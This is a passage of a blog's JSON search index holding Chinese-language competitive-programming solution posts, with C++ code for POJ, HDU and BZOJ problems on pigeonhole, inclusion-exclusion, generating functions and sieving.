; i \u003c= n ; i++){ 41 scanf(\"%d\",\u0026a[i]); 42 sum[i] = (sum[i-1] + a[i])%n; 43 } 44 memset(p,0,sizeof(p)); 45 for ( int i = 1 ; i \u003c= n ; i++){ 46 if (sum[i]==0){ 47 printf(\"%d\\n\",i); 48 for ( int j = 1 ; j \u003c= i ; j++){ 49 printf(\"%d\\n\",j); 50 } 51 break; 52 } 53 if (p[sum[i]]){ 54 // cout\u003c\u003c\"111qqz\"\u003c\u003cendl; 55 printf(\"%d\\n\",i-p[sum[i]]); 56 for ( int j = p[sum[i]]+1 ; j \u003c= i ; j++){ 57 printf(\"%d\\n\",j); 58 } 59 break; 60 } 61 p[sum[i]] = i; 62 63 } 64 65 return 0; 66}","date":"2016-02-29","externalUrl":null,"permalink":"/2016/02/poj2356/","section":"Posts","summary":"http://poj.org/problem?id=2356 题意：有 n 个数，从中选取若干个（1..n），和能被 n 整除。问是否有解，无解输出 0，有解的话，输出个数以及选择的 a[i]（不是 i）。","tags":["number theory","剩余系","抽屉原理"],"title":"poj 2356 Find a multiple (剩余类，抽屉原理)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1205 题意：有n种糖果，第i种糖果有a[i]个，相邻两次不能吃一样的糖果，问能否有办法吃完所有糖果… 思路：如果第i种糖果有k个的话，那么其他所有种类的糖果之和至少有k-1个，才可能吃完。复杂度O(n) 看到有人说是抽屉原理…..大概。。。？不过不太明显。。直接想就好吧 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月29日 星期一 20时40分00秒 4File Name :code/hdu/1205.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34int n; 35LL a[N]; 36LL total; 37 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41 freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 ios::sync_with_stdio(false); 45 int T; 46 cin\u003e\u003eT; 47 while (T--) 48 { 49 cin\u003e\u003en; 50 total = 0; 51 for ( int i = 1 ; i \u003c= n ; i++) 52 { 53 cin\u003e\u003ea[i]; 54 total +=a[i]; 55 } 56 57 58 59 bool ok = true; 60 for ( int i = 1 ; i \u003c= n ; i++) 61 { 62 LL x; 63 x= total-a[i]; 64 if (x\u003ca[i]-1) 65 { 66 ok = false; 67 break; 68 } 69 } 70 71 if (ok) 72 { 73 puts(\"Yes\"); 74 } 75 else 76 { 77 puts(\"No\"); 78 } 79 80 } 81 82 #ifndef ONLINE_JUDGE 83 fclose(stdin); 84 #endif 85 return 0; 86}","date":"2016-02-29","externalUrl":null,"permalink":"/2016/02/hdu1205/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1205 题意：有n种糖果，第i种糖果有a[i]个，相邻两次不能吃一样的糖果，问能否有办法吃完所有糖果… 思路：如果第i种糖果有k个的话，那么其他所有种类的糖果之和至少有k-1个，才可能吃完。复杂度O(n) 看到有人说是抽屉原理…..大概。。。？不过不太明显。。直接想就好吧","tags":["math","抽屉原理"],"title":"hdu 1205  吃糖果 （鸽笼原理）","type":"post"},{"categories":["ACM"],"content":"hdu1796 题意：给出n（\u003c=2^31）以及m(\u003c=10)个元素组成的无重复元素集合，集合元素0\u003c=a[i]\u003c=20,问有多少个小于n的数能至少被集合中的一个元素整除。 思路：容斥，找到能被一个元素的，被两个元素的…加加减减。 一个元素的最小公倍数定义成自己，然后多个元素的就两个两个算… 一个坑点是，a[i]有0，而一个数除以0没有意义。。。所以读入的时候处理下。。。把0删掉（个人觉得这个坑点毫无技术含量。。。。0不能作为除数这种事情呵呵呵） 并且如果只有一个数且为0，那么删掉后集合就为空了，特判输出0. 另一个坑点是，别看每个数都很小。。但是求多个数的最小公倍数的时候会爆int… **虽然最后结果没有爆，但是中间量会爆掉，要开long long ** 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月29日 星期一 19时09分31秒 4File Name :code/hdu/1796.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int a[15]; 35int b[15]; 36 37LL gcd ( LL a,LL b) 38{ 39 if (b\u003ea) return gcd(b,a); 40 if (a%b==0) return b; 41 return gcd(b,a%b); 42} 43 44LL lcm( LL a,LL b) 45{ 46 LL res; 47 res = a*b; //10个数的最小公倍数会爆掉...虽然最终结果不会，但是乘的这一步会，所以要long long 48 res = res/gcd(a,b); 49 return res; 50} 51int main() 52{ 53 #ifndef ONLINE_JUDGE 54 freopen(\"code/in.txt\",\"r\",stdin); 55 #endif 56 57 while (~scanf(\"%d %d\",\u0026m,\u0026n)) //m,n和题目中的意思相反，实在看着别扭 58 { 59 int cnt = 0 ; 60 bool zero = false; 61 for ( int i = 0 ; i \u003c n ; i++) 62 { 63 scanf(\"%d\",\u0026b[i]); 64 if (b[i]) 65 { 66 a[cnt++] = b[i]; 67 } 68 else 69 { 70 zero = true; 71 } 72 } 73 74 if (cnt==0) //只有一个元素且是0...0不能做除数啊。。。这题好蠢 75 { 76 pu","date":"2016-02-29","externalUrl":null,"permalink":"/2016/02/hdu1796/","section":"Posts","summary":"hdu1796 题意：给出n（\u003c=2^31）以及m(\u003c=10)个元素组成的无重复元素集合，集合元素0\u003c=a[i]\u003c=20,问有多少个小于n的数能至少被集合中的一个元素整除。","tags":["math","容斥原理"],"title":"hdu 1796  How many integers can you find (容斥原理)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=4336 题意：有n种卡片，买一包干脆面得到第i种卡片的概率是p[i],每包干脆面最多有一张卡片，问收集齐所有卡片要买的干脆面的包数的数学期望。 思路：容斥模板题。1.0/p[i]就是拿到某张卡片需要买的包数的数学期望 注意体会这种具体应用容斥的模拟方法，把1«n转化成二进制来模拟有1个元素的集合，有2个元素的集合…有n个元素的集合。 核心代码： 1 for ( int msk = 1 ; msk \u003c(1\u003c\u003cn) ; msk++) 2 { 3 double res = 0.0; 4 int bits = 0; 5 for ( int i = 0 ; i \u003c n ; i++) 6 { 7 // cout\u003c\u003c\"msk:\"\u003c\u003cmsk\u003c\u003c\" \"\u003c\u003c(1\u003c\u003ci)\u003c\u003cendl; 8 if (msk\u0026(1\u003c\u003ci)) 9 { 10 bits++; 11 res +=p[i]; 12 } 13 } 14 if (bits%2==1) 15 { 16 ans += 1.0/res; 17 } 18 else 19 { 20 ans -= 1.0/res; 21 } 22 } 23 24 25 26 27 28 29 30 31/* *********************************************** 32Author :111qqz 33Created Time :2016年02月29日 星期一 18时39分23秒 34File Name :code/hdu/4336.cpp 35************************************************ */ 36 37#include \u003ccstdio\u003e 38#include \u003ccstring\u003e 39#include \u003ciostream\u003e 40#include \u003calgorithm\u003e 41#include \u003cvector\u003e 42#include \u003cqueue\u003e 43#include \u003cset\u003e 44#include \u003cmap\u003e 45#include \u003cstring\u003e 46#include \u003ccmath\u003e 47#include \u003ccstdlib\u003e 48#include \u003cctime\u003e 49#define fst first 50#define sec second 51#define lson l,m,rt\u003c\u003c1 52#define rson m+1,r,rt\u003c\u003c1|1 53#define ms(a,x) memset(a,x,sizeof(a)) 54typedef long long LL; 55#define pi pair \u003c int ,int \u003e 56#define MP make_pair 57 58using namespace std; 59const double eps = 1E-8; 60const int dx4[4]={1,0,0,-1}; 61const int dy4[4]={0,-1,1,0}; 62const int inf = 0x3f3f3f3f; 63const int N=25; 64double p[N]; 65int n; 66int main() 67{ 68 #ifndef ONLINE_JUDGE 69 freopen(\"code/in.txt\",\"r\",stdin); 70 #endif 71 72 while (~scanf(\"%d\",\u0026n)) 73 { 74 ms(p,0); 75 double ans = 0 ; 76 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%lf\",\u0026p[i]); 77 78 for ( int msk = 1 ; msk \u003c(1\u003c\u003cn) ; msk++) 79 { 80 double res = 0.0; 81 int bits = 0; 82 for ( int i = 0 ; i \u003c n ; i++) 83 { 84 // cout\u003c\u003c\"msk:\"\u003c\u003cmsk\u003c\u003c\" \"\u003c\u003c(1\u003c\u003ci)\u003c\u003cendl; 85 if (msk\u0026(1\u003c\u003ci)) 86 { 87 bi","date":"2016-02-29","externalUrl":null,"permalink":"/2016/02/hdu4336/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=4336 题意：有n种卡片，买一包干脆面得到第i种卡片的概率是p[i],每包干脆面最多有一张卡片，问收集齐所有卡片要买的干脆面的包数的数学期望。","tags":["math","容斥原理","概率"],"title":"hdu 4336 Card Collector (2012多校 #4) （容斥原理模板题）","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=3734 题意+思路同******hdu2065红色病毒解题报告 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 16时39分53秒 4File Name :code/poj/3734.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL MOD =1E4+7; 34LL n; 35LL res; 36LL ksm(LL a,LL b) 37{ 38 LL res = 1; 39 while (b) 40 { 41 if (b\u00261) res=(res*a)%MOD; 42 b = b\u003e\u003e1; 43 a = (a*a)%MOD; 44 } 45 return res; 46} 47int main() 48{ 49 #ifndef ONLINE_JUDGE 50 freopen(\"code/in.txt\",\"r\",stdin); 51 #endif 52 53 54 int T; 55 cin\u003e\u003eT; 56 while (T--) 57 { 58 scanf(\"%lld\",\u0026n); 59 60 LL ans = ksm(4,n-1)+ksm(2,n-1); 61 ans %=MOD; 62 printf(\"%lld\\n\",ans); 63 64 } 65 66 67 68 #ifndef ONLINE_JUDGE 69 fclose(stdin); 70 #endif 71 return 0; 72}","date":"2016-02-28","externalUrl":null,"permalink":"/2016/02/poj-3734/","section":"Posts","summary":"http://poj.org/problem?id=3734 题意+思路同******hdu2065红色病毒解题报告","tags":["math","母函数","泰勒展开"],"title":"poj 3734 Blocks (指数型母函数，泰勒级数展开)","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=2065 题意：a,b,c,d四种元素，a,c只能出现偶数次（包括0次），b,d没有限制，问n个（2^64）个元素有多少种不同的组合。 思路：指数型母函数。。。n大的没办法用之前的办法做。 先来看下我们要求的式子：A=(1+x/1!+x^2/2!+x^3/3!……)^2*(1+x^2/2!+x^4/4!+x^6/6!……)^2. 其实一共四个式子相乘，但是a和c的情况相同，b和d的式子相同。 我们要求的是x^n的系数。。。n太大了。。直接搞肯定不行。 想到微积分学的泰勒展开。 e^x=1+x/1!+x^2/2!+x^3/3!+… (|x|\u003coo) 其实这里x的范围没有意义，因为母函数关注的是系数，不会代入x的值，所以可以不用考虑收敛性。 那么第一项(1+x/1!+x^2/2!+x^3/3!……)^2就可以换成(e^x)^2 第二项没有奇数项，很容易想到可以写成(（e^x+e^(-x)）/2)^2 继续化简：4A=(e^x)^2((e^x+e^(-x))/2)^2 4A = (e^(4x)+2e^(2x)+1) 我们要的是x^n的系数，再正向泰勒展开，得到x^n的系数应该是 (4^n+2*2^n)/4,也就是4^(n-1)+2^(n-1) 因为只要后两位的结果，其实就是结果0.快速幂搞之。 以及，2^64 long long 存不下，应该用unsigned long long ，类型说明符是 %llu 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月28日 星期日 14时01分58秒 4File Name :code/hdu/2065.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef unsigned long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL MOD = 100; 34LL n; 35LL ksm(LL a,LL b) 36{ 37 LL res = 1LL; 38 while (b) 39 { 40 if (b\u00261) res = (res*a)%MOD; 41 b = b\u003e\u003e1; 42 a =(a*a)%MOD; 43 } 44 return res; 45} 46int main() 47{ 48 #ifndef ONLINE_JUDGE 49 freopen(\"code/in.txt\",\"r\",stdin); 50 #endif 51 int T; 52 53 while (~scanf(\"%d\",\u0026T)) 54 { 55 if (T==0) break; 56 int cas = 0 ; 57 while","date":"2016-02-28","externalUrl":null,"permalink":"/2016/02/hdu2065/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=2065 题意：a,b,c,d四种元素，a,c只能出现偶数次（包括0次），b,d没有限制，问n个（2^64）个元素有多少种不同的组合。 思路：指数型母函数。。。n大的没办法用之前的办法做。","tags":["math","母函数","泰勒展开"],"title":"hdu 2065 \"红色病毒\"问题 (指数型母函数，泰勒级数展开)","type":"post"},{"categories":["ACM"],"content":"http://www.lydsy.com/JudgeOnline/problem.php?id=1610 题意：给出n个点，问有多少条直线，这些之间之间都不平行。 思路：求斜率（注意考虑斜率不存在），看有多少种斜率。 妈蛋。。。。斜率不存在是横坐标相等啊，不是纵坐标啊。。。蠢哭了好么。。。。。。 妈蛋。。。。斜率不存在是横坐标相等啊，不是纵坐标啊。。。蠢哭了好么。。。。。。 妈蛋。。。。斜率不存在是横坐标相等啊，不是纵坐标啊。。。蠢哭了好么。。。。。。 太他妈惨了。。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月28日 星期日 01时34分35秒 4File Name :code/bzoj/1610.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=205; 34const double oo=1897987987; 35struct node 36{ 37 double x,y; 38 39 40 double getk(node b) 41 { 42 return (y-b.y)/(x-b.x); 43 } 44 45 46}p[N]; 47double k[40005]; 48int n; 49 50 51int dblcmp(double d) 52{ 53 return d\u003c-eps?-1:d\u003eeps; 54} 55int main() 56{ 57 #ifndef ONLINE_JUDGE 58 freopen(\"code/in.txt\",\"r\",stdin); 59 #endif 60 61 ios::sync_with_stdio(false); 62 cin\u003e\u003en; 63 for ( int i = 1 ; i \u003c= n ; i++) 64 { 65 cin\u003e\u003ep[i].x\u003e\u003ep[i].y; 66 } 67 68 int cnt = 0 ; 69 for ( int i = 1 ; i \u003c= n-1 ;i++) 70 { 71 for ( int j = i+1 ; j \u003c= n ; j++) 72 { 73 ++cnt; 74 // cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" p[i].y:\"\u003c\u003cp[i].y\u003c\u003c\" j:\"\u003c\u003cj\u003c\u003c\" p[j].y:\"\u003c\u003cp[j].y\u003c\u003cendl; 75 if (dblcmp(p[i].x-p[j].x)==0) k[cnt]=oo; 76 else k[cnt] = p[i].getk(p[j]); 77 } 78 } 79 80 //check k 81// for ( int i = 1 ","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/bzoj1610/","section":"Posts","summary":"http://www.lydsy.com/JudgeOnline/problem.php?id=1610 题意：给出n个点，问有多少条直线，这些之间之间都不平行。 思路：求斜率（注意考虑斜率不存在），看有多少种斜率。 妈蛋。。。。斜率不存在是横坐标相等啊，不是纵坐标啊。。。蠢哭了好么。。。。。。","tags":["计算几何"],"title":"bzoj 1610   [Usaco2008 Feb]Line连线游戏 (计算几何)","type":"post"},{"categories":["ACM"],"content":"http://www.lydsy.com/JudgeOnline/problem.php?id=1607 题意：n个数，求对于每个数来说，其他n-1个数中是它约数的数的个数。 思路：类似筛法，从小到大处理，数i对其所有倍数的数的答案有cnt[i]的贡献 。最后记得把自己是自己的约数的情况减掉。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月28日 星期日 01时06分35秒 4File Name :code/bzoj/1607.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int n; 35int a[N]; 36int cnt[N*10]; 37int ans[N*10]; 38int main() 39{ 40 #ifndef ONLINE_JUDGE 41// freopen(\"code/in.txt\",\"r\",stdin); 42 #endif 43 44 ms(cnt,0); 45 46 cin\u003e\u003en; 47 int mx = -1; 48 for ( int i = 0 ; i \u003c n ; i++) 49 { 50 scanf(\"%d\",\u0026a[i]); 51 cnt[a[i]]++; 52 mx = max(mx,a[i]); 53 } 54 55 for ( int i = 1 ; i \u003c= mx; i++) 56 if (cnt[i]) //类似筛法，对所有倍数都有贡献 57 for ( int j = 1 ; j*i \u003c= mx ; j++) 58 ans[j*i]+=cnt[i]; 59 60 for ( int i = 0 ;i \u003c n ; i++) 61 printf(\"%d\\n\",ans[a[i]]-1);//减去自己是自己约数的情况 62 63 64 65 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/bzoj1607/","section":"Posts","summary":"http://www.lydsy.com/JudgeOnline/problem.php?id=1607 题意：n个数，求对于每个数来说，其他n-1个数中是它约数的数的个数。","tags":["math","筛法"],"title":"bzoj 1607 [Usaco2008 Dec]Patting Heads 轻拍牛头 （筛法）","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1521 题意：有n种物品，并且知道每种物品的数量。要求从中选出m件物品的排列数。例如有两种物品A,B，并且数量都是1，从中选2件物品，则排列有\"AB\",“BA\"两种。 思路：指数型母函数。 对于相同的元素，需要去掉该元素的重复度，即为元素个数的阶乘。具体做法是用double类型存储（方案数除以重复度），然后在最后把阶乘乘回来四舍五入取整（为什么是四舍五入？） 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 19时48分31秒 4File Name :code/hdu/1521.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33double a[15],tmp[15],f[15]; 34int n,m; 35int num[15]; 36void pre() 37{ 38 f[0] = 1.0; 39 for ( int i = 1 ;i \u003c= 11 ; i++) 40 { 41 f[i] = f[i-1]*i*1.0; 42 } 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 50 pre(); 51 while (scanf(\"%d %d\",\u0026n,\u0026m)!=EOF) 52 { 53 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026num[i]); 54 55 ms(a,0); 56 ms(tmp,0); 57 58 for ( int i = 0 ; i \u003c= num[1] ; i++) 59 { 60 a[i] = 1.0/f[i]; 61 } 62 63 for ( int i = 2 ; i \u003c= n ; i++) 64 { 65 for ( int j = 0 ; j \u003c= m ; j++) 66 { 67 for ( int k = 0 ; k+j\u003c=m\u0026\u0026k\u003c=num[i] ; k++) 68 { 69 tmp[j+k] += a[j]/f[k]; 70 } 71 } 72 73 for ( int j = 0 ; j \u003c= m ; j++) 74 { 75 a[j] = tmp[j]; 76 tmp[j] = 0.0; 77 } 78 } 79 80 double ans = a[m]*f[m]; 81 printf(\"%d\\n\",int(ans+0.5)); 82 } 83","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/hdu1521/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1521 题意：有n种物品，并且知道每种物品的数量。要求从中选出m件物品的排列数。例如有两种物品A,B，并且数量都是1，从中选2件物品，则排列有\"AB\",“BA\"两种。","tags":["母函数"],"title":"hdu 1521 排列组合 （指数型母函数模板题）","type":"post"},{"categories":["ACM"],"content":"从这里母函数（Generating function）详解学习了普通型母函数 1#include \u003ciostream\u003e 2using namespace std; 3// Author: Tanky Woo 4// www.wutianqi.com 5const int _max = 10001; 6// c1是保存各项质量砝码可以组合的数目 7// c2是中间量，保存没一次的情况 8int c1[_max], c2[_max]; 9int main() 10{ //int n,i,j,k; 11 int nNum; // 12 int i, j, k; 13 14 while(cin \u003e\u003e nNum) 15 { 16 for(i=0; i\u003c=nNum; ++i) // ---- ① 17 { 18 c1[i] = 1; 19 c2[i] = 0; 20 } 21 for(i=2; i\u003c=nNum; ++i) // ----- ② 22 { 23 24 for(j=0; j\u003c=nNum; ++j) // ----- ③ 25 for(k=0; k+j\u003c=nNum; k+=i) // ---- ④ 26 { 27 c2[j+k] += c1[j]; 28 } 29 for(j=0; j\u003c=nNum; ++j) // ---- ⑤ 30 { 31 c1[j] = c2[j]; 32 c2[j] = 0; 33 } 34 } 35 cout \u003c\u003c c1[nNum] \u003c\u003c endl; 36 } 37 return 0; 38} ① 、首先对c1初始化，由第一个表达式(1+x+x^2+..x^n)初始化，把质量从0到n的所有砝码都初始化为1. ② 、 i从2到n遍历，这里i就是指第i个表达式，上面给出的第二种母函数关系式里，每一个括号括起来的就是一个表达式。 ③、j 从0到n遍历，这里j就是(前面i個表达式累乘的表达式)里第j个变量，(这里感谢一下seagg朋友给我指出的错误，大家可以看下留言处的讨论)。如(1+x)(1+x^2)(1+x^3)，j先指示的是1和x的系数，i=2执行完之后变为 （1+x+x^2+x^3）(1+x^3)，这时候j应该指示的是合并后的第一个括号的四个变量的系数。 ④ 、 k表示的是第j个指数，所以k每次增i（因为第i个表达式的增量是i）。 ⑤ 、把c2的值赋给c1,而把c2初始化为0，因为c2每次是从一个表达式中开始的。 讲得不错，之前第三点注释有问题没想到现在已经改过来了2333. 说说我的理解：母函数其实形式上就是函数…但是关注的是系数。。就像一排挂衣架一样。 普通型母函数的作用就是通过模拟多项式乘法的方式解决一类组合计数问题。 一般能由普通型母函数解决的问题也能由dp或者递推来解决，但是母函数可能更容易理解（对我个人来说 这类问题呢，一般有如下几种问法。 一种是对于每类物品的个数，可能每类个数有限，也可能无限。 如果无限个，那么就根据n的大小作为一个循环的上限，因为n+1以及以后的指数肯定对答案没有贡献。 比如这道题： hdu1028解题报告 如果每类都有限，那么就根据每类物品作为上限。这时j那一层循环要不断累加（变量cur）当前能得到的最大价值（也就是多项式的最大指数） 比如这道hdu1085解题报告 也可能不仅要求上限，还要求有下限，也就是要求每类物品的个数必须在一个范围内。比如这道hdu2152解题报告 也可能两种要同时考虑。比如这道hdu2082解题报告 不过如果就算把所有数量算上也不会太大（数组存不下）的话，不考虑也可以（我懒） 还有，每种元素并不一定像整数拆分一样是连续的，可能像硬币问题一样只有1分，2分，5分的硬币，或者只能是平方数hdu1398解题报告 只能是素数hdu2189解题报告 还有一点，不一定所有元素对答案都是正的贡献，也可能是负的贡献。 这类问题主要是和天平有关。给你若干砝码，问你能称量出多少的重量。由于砝码可以放左边也可以放右边，所以每个对答案有正负两种贡献（不放就是没贡献） 比如这道hdu1709解题报告和这道hdu5616解题报告 最后就是稍微难一点的一类问题：对单个元素的个数没有限制，但是对所有元素的总个数有限制。这类题我们需要增加一维。现在用a[i][j]表示由j个元素组成","date":"2016-02-27","externalUrl":null,"permalink":"/2016/02/%e6%99%ae%e9%80%9a%e5%9e%8b%e6%af%8d%e5%87%bd%e6%95%b0%e6%80%bb%e7%bb%93/","section":"Posts","summary":"从这里母函数（Generating function）详解学习了普通型母函数 1#include \u003ciostream\u003e 2using namespace std; 3// Author: Tanky Woo 4// www.wutianqi.com 5const int _max = 10001; 6// c1是保存各项质量砝码可以组合的数目 7// c2是中间量，保存没一次的情况 8int c1[_max], c2[_max]; 9int main() 10{ //int n,i,j,k; 11 int nNum; // 12 int i, j, k; 13 14 while(cin \u003e\u003e nNum) 15 { 16 for(i=0; i\u003c=nNum; ++i) // ---- ① 17 { 18 c1[i] = 1; 19 c2[i] = 0; 20 } 21 for(i=2; i\u003c=nNum; ++i) // ----- ② 22 { 23 24 for(j=0; j\u003c=nNum; ++j) // ----- ③ 25 for(k=0; k+j\u003c=nNum; k+=i) // ---- ④ 26 { 27 c2[j+k] += c1[j]; 28 } 29 for(j=0; j\u003c=nNum; ++j) // ---- ⑤ 30 { 31 c1[j] = c2[j]; 32 c2[j] = 0; 33 } 34 } 35 cout \u003c\u003c c1[nNum] \u003c\u003c endl; 36 } 37 return 0; 38} ① 、首先对c1初始化，由第一个表达式(1+x+x^2+..x^n)初始化，把质量从0到n的所有砝码都初始化为1.","tags":["母函数"],"title":"普通型母函数总结","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1284 题意：有1分，2分，3分的钱若干，问组成n（n\u003c=32767）分钱的方案数。 思路：母函数. 需要注意的是多组数据。每次都搞会TLE，可以先预处理出来存到数组里，每次直接调用。如果预处理时间也还是慢的话，可以先跑出来，然后打表。这算一个小tip吧2333 1/* *********************************************** 2Author :111qqz 3Created Time :2016年02月27日 星期六 16时10分40秒 4File Name :code/hdu/1284.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=4E4+7; 34int tmp[N],a[N]; 35int n; 36int main() 37{ 38 #ifndef 